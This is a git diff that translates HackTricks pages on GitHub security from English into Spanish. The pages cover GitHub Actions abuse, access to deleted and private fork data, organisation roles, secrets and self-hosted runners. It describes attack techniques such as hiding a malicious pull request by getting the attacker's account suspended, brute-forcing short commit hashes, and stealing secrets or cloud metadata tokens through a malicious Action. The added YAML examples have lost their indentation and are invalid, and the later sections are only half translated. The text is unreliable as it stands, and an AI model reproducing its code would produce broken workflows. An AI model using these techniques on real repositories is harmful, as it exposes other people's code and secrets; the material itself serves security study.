+Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir "algunas cosas" en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 horas :p y ahí lo tienes, has hecho tu explotación invisible en github.
> [!WARNING]
-> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
+> La única forma en que una organización puede darse cuenta de que ha sido objetivo es revisar los registros de GitHub desde SIEM, ya que desde la interfaz de GitHub el PR sería eliminado.
-## Tools
+## Herramientas
-The following tools are useful to find Github Action workflows and even find vulnerable ones:
+Las siguientes herramientas son útiles para encontrar flujos de trabajo de Github Action e incluso encontrar vulnerables:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
index ae156de2d..fa2cb5df7 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
@@ -1,6 +1 @@
-# Gh Actions - Artifact Poisoning
-
-
-
-
-
+# Gh Actions - Poisoning de Artefactos
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
index 024aa5ff8..f77c0d2d3 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
@@ -1,6 +1 @@
# GH Actions - Cache Poisoning
-
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 3cd632bd0..67dd3069f 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1,6 +1 @@
-# Gh Actions - Context Script Injections
-
-
-
-
-
+# Gh Actions - Inyecciones de Script en el Contexto
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index f19fa699e..cd989ab6a 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -1,60 +1,56 @@
-# Accessible Deleted Data in Github
+# Datos Eliminados Accesibles en Github
{{#include ../../banners/hacktricks-training.md}}
-This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
+Esta forma de acceder a datos de Github que supuestamente fueron eliminados fue [**reportada en esta publicación de blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
-## Accessing Deleted Fork Data
+## Accediendo a Datos de Forks Eliminados
-1. You fork a public repository
-2. You commit code to your fork
-3. You delete your fork
+1. Forkeas un repositorio público.
+2. Haces un commit de código en tu fork.
+3. Eliminas tu fork.
> [!CAUTION]
-> The data commited in the deleted fork is still accessible.
+> Los datos comprometidos en el fork eliminado aún son accesibles.
-## Accessing Deleted Repo Data
+## Accediendo a Datos de Repositorios Eliminados
-1. You have a public repo on GitHub.
-2. A user forks your repo.
-3. You commit data after they fork it (and they never sync their fork with your updates).
-4. You delete the entire repo.
+1. Tienes un repositorio público en GitHub.
+2. Un usuario forkear tu repositorio.
+3. Haces un commit de datos después de que ellos lo forkearon (y nunca sincronizan su fork con tus actualizaciones).
+4. Eliminas todo el repositorio.
> [!CAUTION]
-> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
+> Incluso si eliminaste tu repositorio, todos los cambios realizados en él aún son accesibles a través de los forks.
-## Accessing Private Repo Data
+## Accediendo a Datos de Repositorios Privados
-1. You create a private repo that will eventually be made public.
-2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
-3. You make your “upstream” repository public and keep your fork private.
+1. Creas un repositorio privado que eventualmente será público.
+2. Creas una versión privada e interna de ese repositorio (a través de forking) y haces commits de código adicional para características que no vas a hacer públicas.
+3. Haces tu repositorio "upstream" público y mantienes tu fork privado.
> [!CAUTION]
-> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
+> Es posible acceder a todos los datos enviados al fork interno en el tiempo entre la creación del fork interno y la publicación de la versión pública.
-## How to discover commits from deleted/hidden forks
+## Cómo descubrir commits de forks eliminados/ocultos
-The same blog post propose 2 options:
+La misma publicación de blog propone 2 opciones:
-### Directly accessing the commit
+### Accediendo directamente al commit
-If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/`
+Si se conoce el valor del ID del commit (sha-1), es posible acceder a él en `https://github.com///commit/`
-### Brute-forcing short SHA-1 values
+### Fuerza bruta de valores SHA-1 cortos
-It's the same to access both of these:
+Es lo mismo acceder a ambos:
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
-And the latest one use a short sha-1 that is bruteforceable.
+Y el último utiliza un sha-1 corto que es susceptible a fuerza bruta.
-## References
+## Referencias
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index ae1365a0f..128cdda88 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -1,248 +1,242 @@
-# Basic Github Information
+# Información Básica de Github
{{#include ../../banners/hacktricks-training.md}}
-## Basic Structure
+## Estructura Básica
-The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
+La estructura básica del entorno de github de una **empresa** grande es poseer una **empresa** que posee **varias organizaciones** y cada una de ellas puede contener **varios repositorios** y **varios equipos**. Las empresas más pequeñas pueden **poseer solo una organización y ninguna empresa**.
-From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
+Desde el punto de vista de un usuario, un **usuario** puede ser **miembro** de **diferentes empresas y organizaciones**. Dentro de ellas, el usuario puede tener **diferentes roles de empresa, organización y repositorio**.
-Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
+Además, un usuario puede ser **parte de diferentes equipos** con diferentes roles de empresa, organización o repositorio.
-And finally **repositories may have special protection mechanisms**.
+Y finalmente, **los repositorios pueden tener mecanismos de protección especiales**.
-## Privileges
+## Privilegios
-### Enterprise Roles
+### Roles de Empresa
-- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
-- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
+- **Propietario de la empresa**: Las personas con este rol pueden **gestionar administradores, gestionar organizaciones dentro de la empresa, gestionar configuraciones de la empresa, hacer cumplir políticas en las organizaciones**. Sin embargo, **no pueden acceder a la configuración o contenido de la organización** a menos que se les designe como propietario de la organización o se les otorgue acceso directo a un repositorio de la organización.
+- **Miembros de la empresa**: Los miembros de las organizaciones propiedad de tu empresa también son **automáticamente miembros de la empresa**.
-### Organization Roles
+### Roles de Organización
-In an organisation users can have different roles:
+En una organización, los usuarios pueden tener diferentes roles:
-- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
-- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
-- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
-- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
- - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
-- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
-- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
+- **Propietarios de la organización**: Los propietarios de la organización tienen **acceso administrativo completo a tu organización**. Este rol debe ser limitado, pero no a menos de dos personas, en tu organización.
+- **Miembros de la organización**: El rol **predeterminado**, no administrativo para **las personas en una organización** es el miembro de la organización. Por defecto, los miembros de la organización **tienen una serie de permisos**.
+- **Gerentes de facturación**: Los gerentes de facturación son usuarios que pueden **gestionar la configuración de facturación de tu organización**, como la información de pago.
+- **Gerentes de Seguridad**: Es un rol que los propietarios de la organización pueden asignar a cualquier equipo en una organización. Cuando se aplica, otorga a cada miembro del equipo permisos para **gestionar alertas de seguridad y configuraciones en toda tu organización, así como permisos de lectura para todos los repositorios** en la organización.
+- Si tu organización tiene un equipo de seguridad, puedes usar el rol de gerente de seguridad para dar a los miembros del equipo el acceso mínimo que necesitan a la organización.
+- **Gerentes de Aplicaciones de Github**: Para permitir que usuarios adicionales **gestione las Aplicaciones de GitHub propiedad de una organización**, un propietario puede otorgarles permisos de gerente de Aplicaciones de GitHub.
+- **Colaboradores externos**: Un colaborador externo es una persona que tiene **acceso a uno o más repositorios de la organización pero no es explícitamente un miembro** de la organización.
-You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+Puedes **comparar los permisos** de estos roles en esta tabla: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
-### Members Privileges
+### Privilegios de los Miembros
-In _https://github.com/organizations/\/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
+En _https://github.com/organizations/\/settings/member_privileges_ puedes ver los **permisos que los usuarios tendrán solo por ser parte de la organización**.
-The settings here configured will indicate the following permissions of members of the organisation:
+La configuración aquí configurada indicará los siguientes permisos de los miembros de la organización:
-- Be admin, writer, reader or no permission over all the organisation repos.
-- If members can create private, internal or public repositories.
-- If forking of repositories is possible
-- If it's possible to invite outside collaborators
-- If public or private sites can be published
-- The permissions admins has over the repositories
-- If members can create new teams
+- Ser administrador, escritor, lector o sin permiso sobre todos los repositorios de la organización.
+- Si los miembros pueden crear repositorios privados, internos o públicos.
+- Si es posible bifurcar repositorios.
+- Si es posible invitar a colaboradores externos.
+- Si se pueden publicar sitios públicos o privados.
+- Los permisos que tienen los administradores sobre los repositorios.
+- Si los miembros pueden crear nuevos equipos.
-### Repository Roles
+### Roles de Repositorio
-By default repository roles are created:
+Por defecto, se crean roles de repositorio:
-- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
-- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
-- **Write**: Recommended for contributors who **actively push to your project**
-- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
-- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
+- **Lectura**: Recomendado para **contribuidores no relacionados con el código** que desean ver o discutir tu proyecto.
+- **Triage**: Recomendado para **contribuidores que necesitan gestionar proactivamente problemas y solicitudes de extracción** sin acceso de escritura.
+- **Escritura**: Recomendado para contribuyentes que **empujan activamente a tu proyecto**.
+- **Mantenimiento**: Recomendado para **gerentes de proyecto que necesitan gestionar el repositorio** sin acceso a acciones sensibles o destructivas.
+- **Administrador**: Recomendado para personas que necesitan **acceso completo al proyecto**, incluidas acciones sensibles y destructivas como gestionar la seguridad o eliminar un repositorio.
-You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+Puedes **comparar los permisos** de cada rol en esta tabla [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
-You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_
+También puedes **crear tus propios roles** en _https://github.com/organizations/\/settings/roles_
-### Teams
+### Equipos
-You can **list the teams created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
+Puedes **listar los equipos creados en una organización** en _https://github.com/orgs/\/teams_. Ten en cuenta que para ver los equipos que son hijos de otros equipos necesitas acceder a cada equipo padre.
-### Users
+### Usuarios
-The users of an organization can be **listed** in _https://github.com/orgs/\/people._
+Los usuarios de una organización pueden ser **listados** en _https://github.com/orgs/\/people._
-In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
+En la información de cada usuario puedes ver los **equipos de los que el usuario es miembro**, y los **repositorios a los que el usuario tiene acceso**.
-## Github Authentication
+## Autenticación de Github
-Github offers different ways to authenticate to your account and perform actions on your behalf.
+Github ofrece diferentes formas de autenticarte en tu cuenta y realizar acciones en tu nombre.
-### Web Access
+### Acceso Web
-Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
+Accediendo a **github.com** puedes iniciar sesión usando tu **nombre de usuario y contraseña** (y un **2FA potencialmente**).
-### **SSH Keys**
+### **Claves SSH**
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Puedes configurar tu cuenta con una o varias claves públicas que permiten que la **clave privada relacionada realice acciones en tu nombre.** [https://github.com/settings/keys](https://github.com/settings/keys)
-#### **GPG Keys**
+#### **Claves GPG**
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+No **puedes suplantar al usuario con estas claves**, pero si no las usas, podría ser posible que **se te descubra por enviar commits sin una firma**. Aprende más sobre [modo vigilante aquí](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
-### **Personal Access Tokens**
+### **Tokens de Acceso Personal**
-You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Puedes generar un token de acceso personal para **dar acceso a una aplicación a tu cuenta**. Al crear un token de acceso personal, el **usuario** necesita **especificar** los **permisos** que **tendrá el token**. [https://github.com/settings/tokens](https://github.com/settings/tokens)
-### Oauth Applications
+### Aplicaciones Oauth
-Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
+Las aplicaciones Oauth pueden pedirte permisos **para acceder a parte de tu información de github o para suplantarte** para realizar algunas acciones. Un ejemplo común de esta funcionalidad es el **botón de inicio de sesión con github** que podrías encontrar en algunas plataformas.
-- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
-- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
-- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- You can see third party access of applications in an **organization** in _https://github.com/organizations/\/settings/oauth_application_policy_
+- Puedes **crear** tus propias **aplicaciones Oauth** en [https://github.com/settings/developers](https://github.com/settings/developers)
+- Puedes ver todas las **aplicaciones Oauth que tienen acceso a tu cuenta** en [https://github.com/settings/applications](https://github.com/settings/applications)
+- Puedes ver los **alcances que las Aplicaciones Oauth pueden solicitar** en [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Puedes ver el acceso de terceros de aplicaciones en una **organización** en _https://github.com/organizations/\/settings/oauth_application_policy_
-Some **security recommendations**:
+Algunas **recomendaciones de seguridad**:
-- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
-- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
-- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
-- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- Una **Aplicación OAuth** siempre debe **actuar como el usuario autenticado de GitHub en toda la plataforma** (por ejemplo, al proporcionar notificaciones al usuario) y con acceso solo a los alcances especificados.
+- Una Aplicación OAuth puede ser utilizada como un proveedor de identidad al habilitar un "Inicio de sesión con GitHub" para el usuario autenticado.
+- **No** construyas una **Aplicación OAuth** si deseas que tu aplicación actúe sobre un **único repositorio**. Con el alcance `repo`, las Aplicaciones OAuth pueden **actuar sobre \_todos**\_\*\* los repositorios del usuario autenticado\*\*.
+- **No** construyas una Aplicación OAuth para actuar como una aplicación para tu **equipo o empresa**. Las Aplicaciones OAuth se autentican como un **único usuario**, por lo que si una persona crea una Aplicación OAuth para que la use una empresa y luego deja la empresa, nadie más tendrá acceso a ella.
+- **Más** en [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
-### Github Applications
+### Aplicaciones de Github
-Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
+Las aplicaciones de Github pueden pedir permisos para **acceder a tu información de github o suplantarte** para realizar acciones específicas sobre recursos específicos. En las Aplicaciones de Github, necesitas especificar los repositorios a los que la aplicación tendrá acceso.
-- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
-- The GitHub App should **connect to a personal account or an organisation**.
-- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
-- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
-- You can see installed apps in an **organization** in _https://github.com/organizations/\/settings/installations_
+- Para instalar una Aplicación de GitHub, debes ser un **propietario de la organización o tener permisos de administrador** en un repositorio.
+- La Aplicación de GitHub debe **conectarse a una cuenta personal o a una organización**.
+- Puedes crear tu propia aplicación de Github en [https://github.com/settings/apps](https://github.com/settings/apps)
+- Puedes ver todas las **aplicaciones de Github que tienen acceso a tu cuenta** en [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- Estos son los **Puntos de API para Aplicaciones de Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependiendo de los permisos de la Aplicación, podrá acceder a algunos de ellos.
+- Puedes ver las aplicaciones instaladas en una **organización** en _https://github.com/organizations/\/settings/installations_
-Some security recommendations:
+Algunas recomendaciones de seguridad:
-- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Make sure the GitHub App integrates with **specific repositories**.
-- The GitHub App should **connect to a personal account or an organisation**.
-- Don't expect the GitHub App to know and do everything a user can.
-- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
-- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
-- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- Una Aplicación de GitHub debe **realizar acciones de manera independiente de un usuario** (a menos que la aplicación esté utilizando un token [de usuario a servidor](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para mantener los tokens de acceso de usuario a servidor más seguros, puedes usar tokens de acceso que expiren después de 8 horas, y un token de actualización que se puede intercambiar por un nuevo token de acceso. Para más información, consulta "[Actualizando tokens de acceso de usuario a servidor](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Asegúrate de que la Aplicación de GitHub se integre con **repositorios específicos**.
+- La Aplicación de GitHub debe **conectarse a una cuenta personal o a una organización**.
+- No esperes que la Aplicación de GitHub sepa y haga todo lo que un usuario puede.
+- **No uses una Aplicación de GitHub si solo necesitas un servicio de "Inicio de sesión con GitHub"**. Pero una Aplicación de GitHub puede usar un [flujo de identificación de usuario](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para iniciar sesión a los usuarios _y_ hacer otras cosas.
+- No construyas una Aplicación de GitHub si _solo_ deseas actuar como un usuario de GitHub y hacer todo lo que ese usuario puede hacer.
+- Si estás utilizando tu aplicación con GitHub Actions y deseas modificar archivos de flujo de trabajo, debes autenticarte en nombre del usuario con un token OAuth que incluya el alcance `workflow`. El usuario debe tener permisos de administrador o escritura en el repositorio que contiene el archivo de flujo de trabajo. Para más información, consulta "[Entendiendo los alcances para aplicaciones OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **Más** en [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
-This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
+Esto **no es una forma de autenticarte en github**, pero una **acción** de Github maliciosa podría obtener **acceso no autorizado a github** y **dependiendo** de los **privilegios** otorgados a la Acción, se podrían realizar **diferentes ataques**. Consulta a continuación para más información.
-## Git Actions
+## Acciones de Git
-Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
+Las acciones de Git permiten automatizar la **ejecución de código cuando ocurre un evento**. Generalmente, el código ejecutado está **relacionado de alguna manera con el código del repositorio** (quizás construir un contenedor docker o verificar que la PR no contenga secretos).
-### Configuration
+### Configuración
-In _https://github.com/organizations/\/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
+En _https://github.com/organizations/\/settings/actions_ es posible verificar la **configuración de las acciones de github** para la organización.
-It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
+Es posible deshabilitar el uso de acciones de github por completo, **permitir todas las acciones de github**, o solo permitir ciertas acciones.
-It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
+También es posible configurar **quién necesita aprobación para ejecutar una Acción de Github** y los **permisos del GITHUB_TOKEN** de una Acción de Github cuando se ejecuta.
-### Git Secrets
+### Secretos de Git
-Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
-
-These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
+Las Acciones de Github generalmente necesitan algún tipo de secretos para interactuar con github o aplicaciones de terceros. Para **evitar ponerlos en texto claro** en el repositorio, github permite ponerlos como **Secretos**.
+Estos secretos pueden configurarse **para el repositorio o para toda la organización**. Luego, para que la **Acción pueda acceder al secreto**, necesitas declararlo así:
```yaml
steps:
- - name: Hello world action
- with: # Set the secret as an input
- super_secret:${{ secrets.SuperSecret }}
- env: # Or as an environment variable
- super_secret:${{ secrets.SuperSecret }}
+- name: Hello world action
+with: # Set the secret as an input
+super_secret:${{ secrets.SuperSecret }}
+env: # Or as an environment variable
+super_secret:${{ secrets.SuperSecret }}
```
-
-#### Example using Bash
-
+#### Ejemplo usando Bash
```yaml
steps:
- - shell: bash
- env: SUPER_SECRET:${{ secrets.SuperSecret }}
- run: |
- example-command "$SUPER_SECRET"
+- shell: bash
+env: SUPER_SECRET:${{ secrets.SuperSecret }}
+run: |
+example-command "$SUPER_SECRET"
```
-
> [!WARNING]
-> Secrets **can only be accessed from the Github Actions** that have them declared.
+> Los secretos **solo pueden ser accedidos desde las Github Actions** que los tienen declarados.
-> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
+> Una vez configurados en el repositorio o en las organizaciones, **los usuarios de github no podrán acceder a ellos nuevamente**, solo podrán **cambiarlos**.
-Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
+Por lo tanto, la **única forma de robar secretos de github es poder acceder a la máquina que está ejecutando la Github Action** (en ese escenario solo podrás acceder a los secretos declarados para la Action).
-### Git Environments
-
-Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
+### Entornos de Git
+Github permite crear **entornos** donde puedes guardar **secretos**. Luego, puedes dar acceso a la acción de github a los secretos dentro del entorno con algo como:
```yaml
jobs:
- deployment:
- runs-on: ubuntu-latest
- environment: env_name
+deployment:
+runs-on: ubuntu-latest
+environment: env_name
```
-
-You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
-It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
+You can configure an environment to be **accedido** by **todas las ramas** (default), **solo ramas protegidas** or **especificar** which branches can access it.\
+It can also set a **número de revisiones requeridas** before **ejecutar** an **acción** using an **entorno** or **esperar** some **tiempo** before allowing deployments to proceed.
### Git Action Runner
-A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
+A Github Action can be **ejecutado dentro del entorno de github** or can be executed in a **infraestructura de terceros** configured by the user.
-Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
+Several organizations will allow to run Github Actions in a **infraestructura de terceros** as it use to be **más barato**.
-You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_
+You can **listar los runners autoalojados** of an organization in _https://github.com/organizations/\/settings/actions/runners_
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
+The way to find which **Github Actions are being executed in infraestructura no github** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
-It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
+It's **no posible ejecutar una Github Action de una organización dentro de una caja autoalojada** of a different organization because **se genera un token único para el Runner** when configuring it to know where the runner belongs.
-If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
+If the custom **Github Runner is configured in una máquina dentro de AWS o GCP** for example, the Action **podría tener acceso al endpoint de metadatos** and **robar el token de la cuenta de servicio** the machine is running with.
### Git Action Compromise
-If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
+If all actions (or a malicious action) are allowed a user could use a **Github action** that is **maliciosa** and will **comprometer** the **contenedor** where it's being executed.
> [!CAUTION]
-> A **malicious Github Action** run could be **abused** by the attacker to:
+> A **malicious Github Action** run could be **abusada** by the attacker to:
>
-> - **Steal all the secrets** the Action has access to
-> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
-> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
+> - **Robar todos los secretos** the Action has access to
+> - **Moverse lateralmente** if the Action is executed inside a **infraestructura de terceros** where the SA token used to run the machine can be accessed (probably via the metadata service)
+> - **Abusar del token** used by the **workflow** to **robar el código del repo** where the Action is executed or **incluso modificarlo**.
## Branch Protections
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
